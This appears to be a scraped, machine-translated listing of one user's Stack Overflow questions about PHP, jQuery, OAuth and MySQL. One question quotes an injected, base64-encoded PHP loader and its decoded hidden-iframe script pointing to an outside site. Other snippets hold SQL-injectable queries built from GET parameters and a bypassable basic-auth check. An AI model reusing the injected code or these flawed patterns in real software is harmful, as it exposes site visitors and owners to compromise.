小编Paw*_*iel的帖子

管理员用户名/密码不适用于PHP

所以我目前正在学习PHP编程课程,最后我开始学习认证和授权.

因此,在本书中,我们首先限制了允许访问所有帐户的页面,您可以在其中更新和删除所有帐户.我们从定义常量开始:

define('VALID_USERNAME', '');
define('VALID_PASSWORD', '');
Run Code Online (Sandbox Code Playgroud)

为了方便自己,我只是将它们作为空字符串.

一切顺利,要求输入用户名和密码的对话框弹出.但是,当我把空字符串放入时,对话框会一直弹出,好像密码错误,或者根本就没有输入密码.即使我用真实字符串定义用户名和密码,也会发生这种情况.

这是我的部分代码:

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) {
    header('http/1.1 401 Unauthorized');
    header('WWW-Authenticate: Basic realm="Wonder Penguin"');
} else {
    if (($_SERVER['PHP_AUTH_USER'] != VALID_USERNAME) ||
        ($_SERVER['PHP_AUTH_PW'] != VALID_PASSWORD)) {
        header('http/1.1 401 Unauthorized');
        header('WWW-Authenticate: Basic realm="Wonder Penguin"');
    }
}
Run Code Online (Sandbox Code Playgroud)

如果您想知道为什么我没有使用exit()函数来阻止人们点击取消来绕过身份验证并进入更新页面.我这样做了,所以我的老师可以评分我创建最后一个作业的页面.

我是多么厌倦排除故障:

我测试了是否通过使用echo函数正确定义了有效的用户名和密码.

echo VALID_USERNAME;
echo VALID_PASSWORD;
Run Code Online (Sandbox Code Playgroud)

它突然出现了我的定义.所以在理论上,我认为我正确地定义了它.

我试着用单引号,双引号和没有引号来编写define函数.这本书要我写这样的功能:

define(VALID_USERNAME, "admin");
define(VALID_PASSWORD, "password");
Run Code Online (Sandbox Code Playgroud)

但是,当我尝试在那里定义它时,这会引发一个错误,即我正在使用未定义的常量.

var_dump($_SERVER); 结果:

array(37) {

["REDIRECT_HANDLER"]=> string(23) "application/x-httpd-php"
["REDIRECT_STATUS"]=> string(3) "200"
["HTTP_HOST"]=> string(20) "patti-bee2.dcccd.edu"
["HTTP_CONNECTION"]=> string(10) "keep-alive"
["HTTP_ACCEPT"]=> string(74) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
["HTTP_USER_AGENT"]=> string(108) "Mozilla/5.0 (Windows NT …
Run Code Online (Sandbox Code Playgroud)

php authentication admin

9
推荐指数
1
解决办法
752
查看次数

使用html2canvas进行阿拉伯语编码

我正在使用html2canvas一个div的图像,内容来自同一页面,相同的域名,但它显示阿拉伯字母断开连接,似乎html2canvas不支持阿拉伯语.

当我在其网页上阅读有关它的可用详细信息时,我没有找到任何有用的信息.

这是我使用的简单代码:

$("#import").click(function(){
    // send the contents of the email :)
    html2canvas(document.body, {
        onrendered: function(canvas) {
            document.body.appendChild(canvas);
        },
        letterRendering:true
    });
});
Run Code Online (Sandbox Code Playgroud)

html2canvas如何呈现div

任何线索?

jquery encoding html2canvas

8
推荐指数
2
解决办法
4455
查看次数

网站iframe攻击 - 将代码插入源代码

在过去的几天里,我的网站一再成为iframe攻击的目标.代码主要附加到PHP和Javascript页面.然后代码是PHP base 64编码,参见示例(我稍微更改了代码以中和它):

#c3284d#
echo(gzinflate(base64_decode("aJ1yhA3pkW4cWnUnmFluNmeq66wqE0OmVRcMUP3WQAupFZFGgaJvSE7IZH67z5S8    VwMxbWwg/TRkFvtPyCw9AGGzqRm8Qi/1LV6+9MdTtf9rtXb8e4L")));
#/c3284d#
Run Code Online (Sandbox Code Playgroud)

这个解码看起来像这样:

<script type="text/javascript">
    document.write(
        '<iframe src="http://opticmoxie.com/xxxxxxx.php"     
         name="Twitter" scrolling="auto" frameborder="no" 
         align="center" height="2" width="2"></iframe>'
    );
Run Code Online (Sandbox Code Playgroud)

一个共同点是所有代码都有注释"#c3284d#",因此追踪恶意代码并不困难.但这很耗时......

我们在Gradwell(英国)的共享服务器上,他们并没有特别有帮助.所以问题是我能做些什么来阻止这个问题重复?我知道MySQL注入攻击并使用PHP的mysql_real_escape_string来防范此类攻击.

该站点是PHP和MySQL驱动器.我们使用MySQLFTP并拥有一个用于SSH访问的shell帐户.我们使用Wordpress(插件去激活的最新更新).

php iframe code-injection

6
推荐指数
1
解决办法
7004
查看次数

PHP在单个请求中分配的内存是否总是在最后发布?

我对PHP中的内存泄漏感到有点困惑.

我已经读过,由于Zend内存管理器,PHP会自动释放每个请求中使用的内存:http: //www.webreference.com/programming/php_mem/2.html

但我看到很多人和主题(即使在这里)也关注PHP和内存泄漏.

所以我觉得我失去了一些东西.

在不同的请求之间PHP是否可能存在内存泄漏?

php memory-leaks memory-management

5
推荐指数
1
解决办法
2248
查看次数

PHP Oauth signature_invalid

我无法解决为什么这不起作用...我真的认为它应该是.请帮忙.

这是我得到的错误:

signature_invalid base_string:GET&HTTPS%3A%2F%2Fwww.google.com%2Faccounts%2FOAuthGetRequestToken&oauth_callback%3Dhttp%253A%252F%252Fnoveis.net%252Fauthsub%252Findex.php%26oauth_consumer_key%CONSUMER KEY该处%26oauth_nonce%3D3bafa031c03f6d1590f2539091245270%26oauth_signature_method%3DHMAC-SHA1 %26oauth_timestamp%3D1282159845%26oauth_version%3D1.0%26scope%3Dhttps%253A%252F%252Fwww.googleapis.com%252Fauth%252Flatitude

这是我的代码:

<?php

$consumer = ''; // Would be consumer key
$secret = ''; // Would be secret
$callback = ''; // Would be callback URL

$mt = microtime();
$rand = mt_rand();
$nonce = md5($mt . $rand);
$time = time();

$url = 'https://www.google.com/accounts/OAuthGetRequestToken';
$path = '/accounts/OAuthGetRequestToken';

$scope = 'https://www.googleapis.com/auth/latitude';

$post = array(
    'oauth_callback' => $callback,
    'oauth_consumer_key' => $consumer,
    'oauth_nonce' => $nonce,
    'oauth_signature_method' => 'HMAC-SHA1',
    'oauth_timestamp' => $time,
    'oauth_version' => '1.0'
);

$post_string = '';
foreach …
Run Code Online (Sandbox Code Playgroud)

php security oauth google-api

2
推荐指数
1
解决办法
6192
查看次数

在PHP中读取xls(Excel)文件

我对此很新,所以我想问一个问题.我使用html上传了一个excel文件,当我尝试学习如何使用php读取excel文件时,这是我从IBM获得的:

<?php

$filename = basename($_FILES["file"]["name"]);

$ext = substr($filename, strrpos($filename, '.') + 1);

function get_data($qnum, $qtype, $qname, $qtext, $atext, $pcredit, $rcounts, $r, $qcount, $cfac, $sd, $disc_inx, $disc_coef)
{
    global $data;

    $data[] = array('QNum' => $qnum, 'Qtype' => $qtype, 'Questionname' => $qname, 'Questiontext' => $qtext,
        'Answertext' => $atext, 'PartialCredit' => $pcredit, 'RCounts' => $r, 'QCount' => $qcount,
        'Correctionfacility' => $cfac, 'DiscriminationIndex' => $disc_inx, 'DiscriminationCoefficient' => $disc_coef);
}

if ($ext == "xls") {
    $dom = DOMDocument::load($_FILES['file']['tmp_name']);
    $rows = $dom->getElementsByTagName('Row');
    $first_row = true;
    foreach …
Run Code Online (Sandbox Code Playgroud)

php

2
推荐指数
1
解决办法
3402
查看次数

使用 PCLZip 或 ZipArchive 压缩文件时出现意外的存档结束

目前想知道是否有人遇到过损坏的 zip 文件。我目前正在使用以下代码

// Multiple File Downloads

require_once('includes/pclzip.lib.php');

$archive = new PclZip('archive.zip');

$v_list = $archive->create('robots.txt,index.php');

if ($v_list == 0) {
  die("Error : ".$archive->errorInfo(true));
}

$file_url = 'archive.zip';

header('Content-Type: application/zip');

header("Content-disposition: attachment; filename=\"" . basename($file_url) . "\""); 

readfile($file_url);
Run Code Online (Sandbox Code Playgroud)

要创建 zip 存档并强制下载 zip,最终将通过单击按钮来启动,但现在我只是尝试创建一个实际有效的存档。

无论我是否使用内置ZipArchive类或使用PclZip库,我都会遇到这个问题。

一件非常奇怪的事情是,当我通过 FileZilla 下载时,创建并放置在服务器上的 zip工作得很好,但如果我强制下载文件,所有的赌注都会消失。我在多个浏览器中进行了尝试,每个浏览器的结果都是相同的。

真烦人。我承认这是我第一次尝试实现此类功能,所以也许我遗漏了一些东西。我看过一些关于类似问题的帖子,但不幸的是这些解决方案对我不起作用。任何可以提供的帮助将不胜感激。

php zip ziparchive pclzip

2
推荐指数
1
解决办法
1709
查看次数

在ajaxSubmit或$ .post方法之后从PHP文件中获取多个变量

到目前为止,我正在使用这种类型的方法通过Ajax将一些变量发送到服务器端的php文件并带回一些答案.

$('#some_form').ajaxSubmit({
    success: function(result)
    {
        some code....
    }
});


$.post('serverside_script.php', { variable: 'value' },
    function(result) 
    {
        some code...
    });
Run Code Online (Sandbox Code Playgroud)

答案始终是1变量,直到现在还可以.但是现在我需要从PHP方面回来几个变量.如何修改脚本以获取多个变量?

php ajax jquery

1
推荐指数
1
解决办法
1610
查看次数

我的网址是什么,如http://i.imgur.com/hmb4y.jpg?

我正在深入研究imgur上的html代码,我看到了一个http://i.imgur.com/hmb4y.jpg包含的url i,是什么i?是文件夹还是没有?如何为我的网站创建这样的网址?

php image

1
推荐指数
1
解决办法
3375
查看次数

Ajax根本不发送数据

我正在编写一个脚本,该脚本将使用GET存储的一些数据发送到PHP脚本(然后处理它然后将其放入数据库).

这是ajax脚本,即时通讯使用jQuery ajax(我已经包含了最新的jQuery脚本)

function send(){
  $.ajax({
     type: "GET",
     url: "http://examplewebsite.com/vars/parse.php",
     data: "id=" + id + "&purl=" + purl + "&send" + "true",
     cache: false,
     success: function(){
       alert("Sent");

     }
  });
}
Run Code Online (Sandbox Code Playgroud)

id并且purl是JavaScript变量.

send() 功能设置为:

<a href="#" onclick="send()">Send</a>
Run Code Online (Sandbox Code Playgroud)

PHP代码:

<?php

//Connect to database
include ("config.php");

//Get the values
$id = $_GET['id'];
$purl = $_GET['purl'];
$send = $_GET['send'];

if ($send == 'true') {


    $insertdata = "INSERT INTO data (id,purl,send) VALUES ('$id','$purl',+1)";
    mysql_query($insertdata) or die(mysql_error());
} else {
    //do nothing
} …
Run Code Online (Sandbox Code Playgroud)

php mysql ajax

1
推荐指数
1
解决办法
192
查看次数

PHP MYSQL错误,查询无效(但它无效)

我遇到了一些问题,我无法弄清楚如何修复它

PHP代码使用

$date = mysql_real_escape_string(date("Y/m/d"));
$title = mysql_real_escape_string($_POST["title"]);
$post = mysql_real_escape_string($_POST["post"]);
$sql =  printf("INSERT INTO `modcraft_mods`.`news` (`date`, `title`, `poster`, `post`) VALUES ('%s', '%s', '%s', '%s');" , $date, $title, mysql_real_escape_string($user->data['username']), $post);
$result = mysql_query($sql);
if (!$result) {
    die('Invalid query: ' . mysql_error());
}
Run Code Online (Sandbox Code Playgroud)

输出:

INSERT INTO modcraft_mods.news(日期,标题,海报,帖子)VALUES('2011/09/19','Test Title','PixelMaster','Test Post');

查询无效:SQL语法中存在错误; 检查与MySQL服务器版本对应的手册,以便在第1行的"151"附近使用正确的语法

奇怪的是,我在PhPMyAdmin中运行查询并且工作正常......有谁知道是什么原因造成的?

php mysql syntax-error

0
推荐指数
1
解决办法
1612
查看次数

Javascript函数如何运行

我想知道javascript函数如何加载或运行.

举个例子,我有这些javascripts功能块;

<span id=indicator></span>

function BlockOne(){
    var textToWrite = document.createTextNode("I am   ");
    document.getElementById("indicator").appendChild(textToWrite);
} 
//==========
function BlockTwo(){
    var textToWrite = document.createTextNode("Going   ");
    document.getElementById("indicator").appendChild(textToWrite);
} 
//=========
function BlockThree(){
    var textToWrite = document.createTextNode("To School   ");
    document.getElementById("indicator").appendChild(textToWrite);
} 

function RunAll(){
    BlockOne();
    BlockTwo();
    BlockThree();
}
window.onload=RunAll();
Run Code Online (Sandbox Code Playgroud)

请先运行这些功能块中的哪一个或以什么顺序运行.

javascript jquery

0
推荐指数
1
解决办法
69
查看次数

如何使用MySQL数据库中的数据填充HTML列表?

我有一个html网页,它包含一个无序列表.因此,我想使用存储在MySQL数据库中的项目来填充此列表,提供的示例项目是清楚的.

<ul class="content">
    <li class="class1">
        <p id="id1">paragraph1</p>
        <div class="class1sub">
            <p>paragraph1sub</p>
        </div>
    </li>
Run Code Online (Sandbox Code Playgroud)

所以我想从数据库中检索整个列表项并将其显示在网页上.问题是除了要设置样式的CSS类和ID之外,每个列表项都存储在数据库中.以下是几个项目的示例:

liclass - id - paragraph1 - divclass - paragraph2

所以我想也许可以使用JavaScript/PHP和MySQL ...但是我脑子里没有启动代码......任何帮助?

html javascript php mysql

-1
推荐指数
1
解决办法
9970
查看次数